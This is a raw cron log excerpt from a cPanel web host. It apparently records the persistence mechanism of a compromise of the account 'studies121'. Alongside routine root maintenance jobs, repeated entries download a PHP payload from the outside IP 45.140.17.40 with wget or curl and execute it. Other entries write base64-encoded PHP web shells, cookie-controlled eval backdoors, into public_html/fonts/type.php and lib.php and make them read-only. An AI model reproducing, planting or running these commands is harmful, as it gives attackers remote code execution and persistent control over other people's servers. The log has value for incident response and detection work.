Sep 13 03:04:01 ip-184-168-122-23 CROND[3883]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:04:01 ip-184-168-122-23 CROND[3882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:05:01 ip-184-168-122-23 CROND[4001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:05:01 ip-184-168-122-23 CROND[4003]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:05:02 ip-184-168-122-23 CROND[4006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:05:02 ip-184-168-122-23 CROND[4009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:05:02 ip-184-168-122-23 CROND[4007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:05:02 ip-184-168-122-23 CROND[4005]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 03:05:02 ip-184-168-122-23 CROND[4008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:06:01 ip-184-168-122-23 CROND[4146]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:06:01 ip-184-168-122-23 CROND[4148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:06:01 ip-184-168-122-23 CROND[4150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:06:01 ip-184-168-122-23 CROND[4149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:06:01 ip-184-168-122-23 CROND[4151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:07:01 ip-184-168-122-23 CROND[4239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:07:01 ip-184-168-122-23 CROND[4242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:07:01 ip-184-168-122-23 CROND[4241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:07:01 ip-184-168-122-23 CROND[4243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:08:01 ip-184-168-122-23 CROND[4410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:08:01 ip-184-168-122-23 CROND[4412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:08:01 ip-184-168-122-23 CROND[4413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:08:01 ip-184-168-122-23 CROND[4414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:08:01 ip-184-168-122-23 CROND[4415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:09:01 ip-184-168-122-23 CROND[4507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:09:01 ip-184-168-122-23 CROND[4509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:09:01 ip-184-168-122-23 CROND[4511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:09:01 ip-184-168-122-23 CROND[4512]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 03:09:01 ip-184-168-122-23 CROND[4510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:10:01 ip-184-168-122-23 CROND[4609]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:10:01 ip-184-168-122-23 CROND[4610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:10:01 ip-184-168-122-23 CROND[4612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:10:01 ip-184-168-122-23 CROND[4611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:10:01 ip-184-168-122-23 CROND[4616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:10:01 ip-184-168-122-23 CROND[4619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:10:01 ip-184-168-122-23 CROND[4621]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:10:01 ip-184-168-122-23 CROND[4623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:11:02 ip-184-168-122-23 CROND[4718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:11:02 ip-184-168-122-23 CROND[4721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:11:02 ip-184-168-122-23 CROND[4720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:11:02 ip-184-168-122-23 CROND[4724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:12:01 ip-184-168-122-23 CROND[4807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:12:01 ip-184-168-122-23 CROND[4809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:12:01 ip-184-168-122-23 CROND[4810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:12:01 ip-184-168-122-23 CROND[4811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:12:01 ip-184-168-122-23 CROND[4812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:13:01 ip-184-168-122-23 CROND[5005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:13:01 ip-184-168-122-23 CROND[5006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:13:01 ip-184-168-122-23 CROND[5009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:13:01 ip-184-168-122-23 CROND[5007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:14:01 ip-184-168-122-23 CROND[5105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:14:01 ip-184-168-122-23 CROND[5108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:14:01 ip-184-168-122-23 CROND[5107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:14:01 ip-184-168-122-23 CROND[5109]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:14:01 ip-184-168-122-23 CROND[5110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:15:01 ip-184-168-122-23 CROND[5195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:15:01 ip-184-168-122-23 CROND[5196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:15:01 ip-184-168-122-23 CROND[5197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:15:01 ip-184-168-122-23 CROND[5198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:15:01 ip-184-168-122-23 CROND[5202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:15:01 ip-184-168-122-23 CROND[5201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:16:01 ip-184-168-122-23 CROND[5291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:16:01 ip-184-168-122-23 CROND[5293]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:16:01 ip-184-168-122-23 CROND[5294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:16:01 ip-184-168-122-23 CROND[5296]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 03:16:01 ip-184-168-122-23 CROND[5297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
